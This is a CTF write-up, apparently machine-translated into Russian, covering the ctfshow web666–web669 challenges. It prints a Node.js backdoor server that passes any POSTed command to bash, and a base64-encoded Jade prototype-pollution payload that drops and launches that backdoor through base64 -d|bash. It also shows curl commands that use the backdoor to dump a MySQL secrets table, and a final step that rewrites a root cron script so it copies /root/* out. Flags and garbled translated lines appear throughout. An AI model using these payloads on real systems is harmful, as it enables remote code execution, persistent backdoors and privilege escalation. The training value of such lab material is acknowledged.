итоговая оценка ctfshow web66⑥-web669

Учиться лучше по сценарию

веб666

Можно сначала посмотреть флаг что 668
сначала прошел js rce а потом взял, флаг есть в базе

веб667

Сканирование порта может найти
порт 3000
flag_667=ctfshow{503a075560764e3d116436ab73d7a560}

веб668

Напишите nodejs через загрязнение цепочки прототипов нефрита и запустите
загрязнение цепочки прототипов нефрита, вы можете прочитать эту статью,
https://blog.csdn.net/miuzzx/article/details/111780832
Написанное содержание nodejs выглядит следующим образом .

var http = require('http');
var querystring = require('querystring');

var postHTML = '123';

http.createServer(function (req, res) {
    
    
  var body = "";
  req.on('data', function (chunk) {
    
    
    body += chunk;
  });
  req.on('end', function () {
    
    
    body = querystring.parse(body);
    res.writeHead(200, {
    
    'Content-Type': 'text/html; charset=utf8'});
 try{
    
    
    if(body.cmd) {
    
    
        res.write("username:" + body.cmd);
        var result= global.process.mainModule.constructor._load('child_process').execSync('bash -c "'+body.cmd+'"').toString();
        res.write(result);
    } else {
    
    
        res.write(postHTML);
    }}
    catch{
    
    
       res.write(postHTML);
    }
    res.end();
  });
}).listen(8033);

Но я не знаю, почему возникает проблема с командой записи сгенерированного файла напрямую, поэтому я перешел на base64.

curl -i -X POST -H 'Content-type':'application/json' -d "{\\"__proto__\\":{\\"__proto__\\": {\\"type\\":\\"Block\\",\\"nodes\\":\\"\\",\\"compileDebug\\":1,\\"self\\":1,\\"line\\":\\"global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyAiZWNobyBkbUZ5SUdoMGRIQWdQU0J5WlhGMWFYSmxLQ2RvZEhSd0p5azdDblpoY2lCeGRXVnllWE4wY21sdVp5QTlJSEpsY1hWcGNtVW9KM0YxWlhKNWMzUnlhVzVuSnlrN0NncDJZWElnY0c5emRFaFVUVXdnUFNBbk1USXpKenNLSUFwb2RIUndMbU55WldGMFpWTmxjblpsY2lobWRXNWpkR2x2YmlBb2NtVnhMQ0J5WlhNcElIc0tJQ0IyWVhJZ1ltOWtlU0E5SUNJaU93b2dJSEpsY1M1dmJpZ25aR0YwWVNjc0lHWjFibU4wYVc5dUlDaGphSFZ1YXlrZ2V3b2dJQ0FnWW05a2VTQXJQU0JqYUhWdWF6c0tJQ0I5S1RzS0lDQnlaWEV1YjI0b0oyVnVaQ2NzSUdaMWJtTjBhVzl1SUNncElIc0tJQ0FnSUdKdlpIa2dQU0J4ZFdWeWVYTjBjbWx1Wnk1d1lYSnpaU2hpYjJSNUtUc0tJQ0FnSUhKbGN5NTNjbWwwWlVobFlXUW9NakF3TENCN0owTnZiblJsYm5RdFZIbHdaU2M2SUNkMFpYaDBMMmgwYld3N0lHTm9ZWEp6WlhROWRYUm1PQ2Q5S1RzS0lIUnllWHNLSUNBZ0lHbG1LR0p2WkhrdVkyMWtLU0I3Q2lBZ0lDQWdJQ0FnY21WekxuZHlhWFJsS0NKMWMyVnlibUZ0WmUrOG1pSWdLeUJpYjJSNUxtTnRaQ2s3Q2lBZ0lDQWdJQ0FnZG1GeUlISmxjM1ZzZEQwZ1oyeHZZbUZzTG5CeWIyTmxjM011YldGcGJrMXZaSFZzWlM1amIyNXpkSEoxWTNSdmNpNWZiRzloWkNnblkyaHBiR1JmY0hKdlkyVnpjeWNwTG1WNFpXTlRlVzVqS0NkaVlYTm9JQzFqSUNJbksySnZaSGt1WTIxa0t5Y2lKeWt1ZEc5VGRISnBibWNvS1RzS0lDQWdJQ0FnSUNCeVpYTXVkM0pwZEdVb2NtVnpkV3gwS1RzS0lDQWdJSDBnWld4elpTQjdDaUFnSUNBZ0lDQWdjbVZ6TG5keWFYUmxLSEJ2YzNSSVZFMU1LVHNLSUNBZ0lIMTlDaUFnSUNCallYUmphSHNLSUNBZ0lDQWdJSEpsY3k1M2NtbDBaU2h3YjNOMFNGUk5UQ2s3SUFvZ0lDQWdmUW9nSUNBZ2NtVnpMbVZ1WkNncE93b2dJSDBwT3dwOUtTNXNhWE4wWlc0b09EQXpNeWs3Q2c9PXxiYXNlNjQgLWQgPiAvaG9tZS9ub2RlL2FhLmpzO25vZGUgL2hvbWUvbm9kZS9hYS5qcyI=|base64 -d|bash')\\"}}}" http://'''+ip2+''':3000/login`;

После генерации rce можно использовать напрямую

1=echo `curl -X POST -d "cmd=mysql -uroot -proot -e 'use ctfshow;select * from ctfshow_secret'" http://172.2.44.5:8033`;

1=echo `curl -X POST -d "cmd=mysql -uroot -proot -e 'use ctfshow;select * from ctfshow_secret'" http://172.2.44.5:8033`;

flag_668 = ctfshow{5b617bd75e1242ab1f6f70437bb71dd5}

веб669

С помощью команды ps -a мы можем увидеть, что root запускает файл sh, и мы можем его
вставьте сюда описание изображения
открыть.Содержимое выглядит следующим
вставьте сюда описание изображения
образом.Ш файл под узлом будет запускаться каждую минуту, поэтому нам нужно только изменить содержимое этот файл узла.
Сначала удалите, а потом перепишите.

1=эхо curl -X POST -d "cmd=rm -rf nodestartup.sh;echo 'cat /root/* > /home/node/a.txt ' > nodestartup.sh" http://172.2.132.5:8033;

flag_669ctfshow{a6c74ca12174eb538a4c8c8ed99c3a74}

рекомендация

отblog.csdn.net/miuzzx/article/details/121611613
рекомендация